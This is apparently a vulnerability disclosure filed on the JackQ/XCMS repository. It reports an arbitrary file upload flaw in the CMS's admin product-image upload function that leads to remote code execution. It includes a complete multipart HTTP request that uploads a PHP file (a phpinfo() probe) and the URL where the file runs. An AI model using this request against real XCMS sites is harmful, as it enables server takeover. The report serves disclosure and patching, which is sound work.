XCMS has an arbitrary file upload vulnerability.

XCMS's backend file upload interface lacks strict validation of uploaded file types, content, and file extensions. Attackers can upload malicious files of any format (such as PHP webshells) after logging in. Once uploaded successfully, attackers can directly access and execute the file via HTTP requests, ultimately leading to remote code execution.

Code analysis:
1.The vulnerability is located at: Admin/Home/Controller/ProductImageController.class.php
![输入图片说明](https://foruda.gitee.com/images/1765355493371834634/fcf35a58_11606887.png "屏幕截图")
2.Upload logic code: Admin/Home/Service/ProductImageService.class.php
![输入图片说明](https://foruda.gitee.com/images/1765355558066608924/4cb750a1_11606887.png "屏幕截图")
3.File upload is implemented by calling the `upload` method in `Common/Common/function.php`, which directly concatenates the filename without filtering.
![输入图片说明](https://foruda.gitee.com/images/1765355703884997888/3795b069_11606887.png "屏幕截图")
Vulnerability Reproduction：
1.Constructing upload data packets

```
POST /qt-admin.php/ProductImage/upload.html HTTP/1.1
Host: 127.0.0.1:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Content-Type: multipart/form-data; boundary=----geckoformboundary3776d305bd092c2f90fb8a49d9af4b8b
Content-Length: 338
Cookie: PHPSESSID=AdminLogin;77f8df80b28f3773308641dabfbbe9f5=0b830a9f801fa31319f9035676437d5b1_1765355082
Priority: u=0

------geckoformboundary3776d305bd092c2f90fb8a49d9af4b8b
Content-Disposition: form-data; name="name"

1.jpg
------geckoformboundary3776d305bd092c2f90fb8a49d9af4b8b
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------geckoformboundary3776d305bd092c2f90fb8a49d9af4b8b--

```
![输入图片说明](https://foruda.gitee.com/images/1765355733688732554/10bf2dd4_11606887.png "屏幕截图")
2.Accessing a malicious file: http://127.0.0.1:8087/Public//uploads//product//69392ea7552e8.php
![输入图片说明](https://foruda.gitee.com/images/1765355766054462194/99530e8f_11606887.png "屏幕截图")

JackQ/XCMS

内容风险标识

评论 (0)

JackQ/XCMS .gitee-modal { width: 500px !important; }

内容风险标识